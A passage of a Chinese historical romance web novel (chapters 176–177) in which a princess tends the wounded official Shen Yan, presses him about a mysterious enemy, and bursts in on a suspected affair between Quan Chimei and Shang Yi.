尤叔躬身行礼,目送乔楹月离开,然后缓缓关上了院门,转身走到了内室的屋门前,朝着里头禀报。 “大人,公主已经走了。” 随即屋门打开,沈匆从里面走出来,朝尤叔点头:“去休息吧。” 尤叔脸上有担忧:“大人可还好?” 沈匆的面色不容乐观:“大人伤的很严重……” 院墙外忽然传来异响,紧接着便有两道身影强势的越过院墙,闯了进来。 沈匆一惊,当即拔剑杀过去,可当他看清那闯进来的人是谁以后,立刻收回了剑,恭敬的朝对方行礼。 “在下拜见公主!” 乔楹月冷着脸走向内室,却被沈匆拦住。 “公主,大人已经歇下了,不见客!” 乔楹月忍着火,低声斥道:“让开。” 沈匆抿了抿唇,站着没动,劝道:“公主还是回去吧。” 乔楹月忽然火了,大声怒斥:“本宫要见他,沈匆,你让开!” 她的怒斥响起的瞬间,林酒的剑便压在了沈匆的脖子上,“沈侍卫,请让开。” 沈匆却全然不在意自己的命,依旧直挺挺的站在乔楹月的面前。 而此时,这院子里头多了许多黑影,这些人全是沈砚的暗卫。 只要林酒敢乱来,乔楹月就会没命。 便在这微妙的气氛之中,沈砚低低的声音从屋内传出来。 “公主进来吧。” 林酒立刻收回自己的剑,沈匆转身打开了门,躬身立在一旁,“公主请进。” 乔楹月抬脚走进去,当即闻到浓重的血腥气。 第一百七十六章是个傻子 乔楹月走到榻前,便见躺在榻上的沈砚撑着身子坐了起来,锦被下滑到腰上,露出胸口紧绷的白色绷带,上头还染着血。 她走上前,盯着他的伤口一会儿,方颤声问道:“还伤了哪儿?” 沈砚疲惫的靠着软枕,哑声说道:“只伤了这一处。” 只伤了一处便让他死了一半,那这一处伤口怕是险些致命。 乔楹月坐下来,低声问他:“沈匆今日没有去府上接红豆,你又不在盛京,商队出了事儿又莫名回来,我猜是你做的。” 何掌柜本就是沈砚的人,商队的情形怕是沈砚比她还清楚,所以在商队遇到土匪以后沈砚第一个得到消息,亲自赶了过去。 他从土匪手中抢下了她的商队,让商队毫发无损的回来,他自己受了重伤。 真是个傻子! 沈砚苍白的俊脸露出笑意:“看来以后什么事儿都瞒不住公主了。” 见他还笑得出来,乔楹月心里是真的生气,忽然骂道:“你是傻子吗?你自己的命最重要啊!为什么要为我的,我的不算大的事儿,去豁出自己的命呢?” 也是在骂出口的瞬间,眼泪夺眶而出。 乔楹月不敢想,他若是回不来,自己该怎么办。 从前她巴不得他死。 可现在,她害怕他死。 在这诡谲多变的盛京城内,他是依靠,也是伙伴,他不能死。 沈砚抚上乔楹月的脸,用大拇指抹掉她的泪珠,认真说道。 “公主的事儿,全都很重要,在微臣这里,很重要。” 乔楹月摇头:“不,你自己的命最重要,谁都不该比你自己的命重要!” 至少在乔楹月这里,她的命最重要,谁都比不上她自己的命重要。 别人也是同理。 如此大家便可以互不干扰,没有期待,没有牵挂,更没有责任。 可是沈砚将她看得比他自己的命重要,她会期待,会牵挂,更会有责任。 往往让人坠入地狱的,便是这些期待牵挂和责任。 沈砚看着在自己面前哭泣的小姑娘,神色有些动情,有些迷茫,还有些无助。 他想不明白,一个十八岁的少女,为何在面对感情时,会这么的仓皇无措,就像是曾经受过很重的情伤一般。 是秦拂郁吗? 可秦拂郁的那些背叛还不至于将她伤成这般模样。 或许,小姑娘的身上还有他不知道的往事…… 小姑娘不想告诉他,是因为这往事还是一根毒刺,拔不出来。 可怜的小姑娘啊。 沈砚叹了一声,落在乔楹月脸上的目光温柔入骨。 这样的目光让乔楹月感到幸福,也感到了失控的恐惧。 “别怕,微臣不需要公主负责,因为,喜欢公主是微臣自己的事情,公主只需要做自己便好。” 可是这样好的沈砚,她会心疼啊…… 乔楹月想将这个男人抱在怀里,看见他的伤口还在流血,根本不敢乱动,她擦掉眼泪,慢慢让自己平静下来。 “本宫让宋鹤柳给你瞧瞧。” 宋鹤柳是盛京城内最好的大夫,倘若沈砚一开始就让宋鹤柳来看,说不定已经好转。 他知道宋鹤柳是她的人,不想让她知道,便连自己的命都不要了! 想到这儿乔楹月又开始生气,不过看见沈砚那副虚弱的模样,她有多气心就有多疼。 宋鹤柳来的很快,检查完沈砚的伤势以后脸色非常差。 “沈大人是被一剑刺穿了胸膛,还好剑锋偏了几分,否则沈大人的命只怕早就没了!” 乔楹月就站在旁边,听见这话一阵后怕,她问宋鹤柳。 “现在还会有生命危险吗?” 看见她脸色不好,宋鹤柳心情复杂的安慰:“有微臣在,绝对不会让沈大人有事。” 乔楹月放了心。 宋鹤柳走到一边去写药方,这会儿乔楹月有一肚子的话想问沈砚,只能等宋鹤柳离开才能开口。 宋鹤柳拿着写好的药方,和沈匆一起出门抓药。 乔楹月立刻问沈砚。 “这大周没几个人能伤你,一般的土匪更不可能伤你,那土匪绝对有问题,是不是权晏舟派的人?” 权晏舟一直在算计她,眼下她第一个想到的便是他。 沈砚缓缓摇头:“他找不到那么厉害的高手,微臣猜测,应该是公主一直在查的神秘人。” 乔楹月瞳孔微缩,却也一下都说得通了。 也只有神秘人能让沈砚受伤。 “此人的权势远在公主预料之外,如果公主要继续查此人,便要做好心理准备。” 沈砚的表情难得沉重。 乔楹月低声问道:“沈大人是不是有眉目了?” 沈砚顿了一下,没有直接回答,只道:“公主若想做闲散公主,微臣可以护公主一辈子。” 这话的意思,是变相承认他知道神秘人的身份,可他却不肯告诉她。 明明他为她连命都能豁出去,他对她是很在乎的,那么他明明知道她迫切想知道神秘人的身份,他为什么隐瞒? 依照沈砚的性子,定是为了保护她。 那么反向猜测,是不是一旦她知道了神秘人的身份,就会陷入无尽的痛苦? “我想知道神秘人是谁。” 乔楹月看着沈砚的眼睛,脸上透着几分任性。 沈砚看着她没说话。 无声的沉默,是残忍的拒绝。 乔楹月一时之间不知该说什么,或者是,此次此刻,她还能说什么。 明明她和沈砚的心那么近,却还是有很多隐瞒。 沈砚说可以护她一辈子,可是前世她还是死了。 所以,沈砚的话也不一定可信。 她的命,必须捏在自己手里。 “大人,汤药熬好了。” 正在气氛僵硬时,沈匆端着汤药进来了。 乔楹月看了沈砚一眼,还是伸手接了汤药。 药汁的苦味儿立刻往鼻子里灌,她忽然生出报复之心,舀了一勺,吹凉后喂给沈砚喝。 一口汤药下喉,沈砚的俊脸皱成一团,当看见第二少勺药又递过来时,他的眼里露出深深的恐惧。 “公主,微臣觉得伤已经好了!” 乔楹月不怀好意的笑着,一脸恶毒的哄道:“沈大人别耍小孩子脾气了,快喝汤药哦~” 沈砚被迫张嘴。 苦得想死! 第一百七十七章当场抓奸 沈砚喝完汤药以后便睡了,乔楹月为他盖好被子,回了公主府。 次日,乔楹月用了早膳便要去看沈砚,林酒过来禀报。 “公主,这两日权迟眉都有去尚大人的府上,两人有时候在院子里说话,有时候在屋子里,关着门,不知道在做什么。” 上次在大理寺门口看见尚曀和权迟眉之间有古怪,她便让林酒盯着两人一些,这两日乔楹月为了金料的事儿忙得焦头烂额,底下人也不敢将这事儿往上报。 这会儿见事儿尘埃落定,这才前来禀报此事。 权迟眉和尚曀若是朋友,在院子里说话很正常。 可若是只是朋友,不可能待在屋里,还关着门。 看来这两人的关系不简单。 乔楹月感觉脑仁儿疼,又很愤怒。 权迟眉和离的烂事儿是她帮着解决,甚至当初引荐尚曀帮她,也是因为姬南萱和尚曀的关系。 如今她摆平了烂事儿,恢复了自由身,竟然和尚曀搅在一起,简直不是人能做出来的事儿。 这权家,简直没一个好东西! 尚曀也不是好东西。 明明前世对姬南萱那么深情,为什么两人都在世时却会走到现在的地步? 他对姬南萱的感情没有假,为什么还会和别的女人搅和在一起呢? 男人的感情,就这么收放自如吗? 这些烂事儿,想想都心烦,可她还必须管,否则姬南萱若是从别处知道这件事儿,不知道会被打击成什么样儿。 这两人,她要一起收拾。 “林酒,你继续盯着,下次他们在关在屋子里时,你便速速来告诉本宫。” “是!” 乔楹月抛下心烦,起身去看沈砚。 经过了昨日的休息,沈砚的脸色看起来好像好了一些。 不过乔楹月又觉得,兴许是她太希望他好起来,心理作用导致出现了错觉。 沈砚看见她便撑着坐起来,靠在软枕上,乔楹月发现他出了脸色苍白一些之外,一点儿不像病人。 他的头发柔顺清爽,乖乖的束成发冠,脸上也是清爽白皙,甚至身上还有皂角的香味儿。 明显是在她来之前仔细洗漱过。 “你的伤不能碰水,洗什么澡。” 沈砚认真道:“怕公主嫌弃。” 乔楹月气笑:“你为了本宫命都险些没了,本宫若是因此嫌弃你,本宫还是个东西吗?” “那不一样,”沈砚脸上有哀怨,“公主身边有大把男子献殷勤,公主依然会对微臣存有感激之情,却不会再有爱慕之心。” “说什么?本宫何时对你有爱慕之心!” “公主总是嘴硬。” 乔楹月气恼,却又无法反驳。 她确实嘴硬。 他不该拆穿! 这会儿沈匆端着汤药进来。 乔楹月露出招牌坏笑。 沈砚无奈的闭上眼。 喝下一口汤药以后,他忍不住提出要求。 “太苦了,微臣想要一口汤药一口蜜饯。” “想得美!” 可到底还是心疼,转头便吩咐出去买蜜饯。 等到蜜饯买回来,汤药才喝了一半。 乔楹月捏了一颗蜜饯递过去,沈砚急急的咬住,皱成一团的脸立刻舒散开来。 像个孩子。 难得在沈砚身上看到孩子气,乔楹月觉得很可爱。 这汤药似乎有催眠的作用,沈砚喝完汤药便犯困。 乔楹月便帮他掖好被角,让他睡觉。 在沈砚睡觉时,乔楹月没有离开,她来到沈砚的书房,想寻一本书来看,可是找了一圈,没有一本她爱看的,他的书全都很枯燥无聊。 最后终是在书架的最底层找到了一本画册。 苏眉说过,沈砚年少时爱画画,只是苏眉觉得不务正业,便强行掐灭了他的这一项爱好。 乔楹月翻开画册,里头是一张张叠放整齐的画纸,上头画着各种小动物,虽然有些稚嫩,但却不缺乏生动和活力。 越往后翻,这些画便越活灵活现。 翻到最后一页,她的手顿时。 这一张上不再是动物,而是一个小姑娘,十来岁的模样,梳着双丫髻,带着金项圈,圆脸大眼,笑得很甜,非常讨喜。 这是……她。 沈砚竟然悄悄画她,还是小时候的她。 乔楹月合上画册,重新放回原处。 回到内室时,沈砚已经醒了,问她去了哪儿,乔楹月笑着说道: “去了沈大人的书房,本宫看见了一本画册。” 对上小姑娘调侃的目光,沈砚难得的红了脸,薄唇抿了一会儿,说道:“公主小时候很可爱。” 因为很可爱,所以忍不住想要画下来。 这些话实在说不出口,沈砚便咽了回去。 乔楹月噘嘴问道:“现在不可爱了吗?” 沈砚看了她一会儿,认真道:“现在很美。” 乔楹月笑成了花。 在沈砚这里用了晚膳,又给沈砚喂药,看见他的脸皱成苦瓜,乔楹月给他塞了蜜饯,这才起身离开。 她刚到府上,林酒便进来禀报。 “公主,权小姐去了尚公子的府上,二人进了屋子,关上了门!” 乔楹月看向外头的天色,晚霞漫天,天还没黑呢,两人竟然这么迫不及待。 实在不像样子! “走,你带着本宫去!” 这意思是让林酒用轻功带着她去尚曀的宅子,这样一来,便能在最短的时间内捉奸。 林酒脸微红,搂住乔楹月的腰,跃上屋顶,朝着尚府而去。 到了尚府的屋顶,他跳了下去,正好落在尚曀的屋子外。 这会儿天色已经暗了,屋内燃起了烛火,像是桌子在晃动,连带烛火也在晃动。 狗男女! 乔楹月抬脚便将屋门踹开,她刚要入内,身后传来妇人的哭喊。 “哎呦!公主这是发的什么火呦,这门换一扇可不便宜唉!” 林酒拦在谭二凤面前,拔出长剑指着她,谭二凤立刻噤声。 屋内的两人双双被这忽如其来的动静吓到,齐齐抬头看过来。 乔楹月抬眼看过去。 只见这两人衣着整齐,规规整整的坐在八仙桌前。 而八仙桌上的正中间是一盏油灯,油灯之下压着一张纸,纸上密密麻麻的写满了字。 尚曀的一只手正摁着纸,似乎在门被踹开之前,他正要查看上头写了什么。 乔楹月面色一顿。 虽然不知道尚曀和权迟眉到底在屋里头搞什么,但瞧眼下的情形,明显不可能是做那种事儿。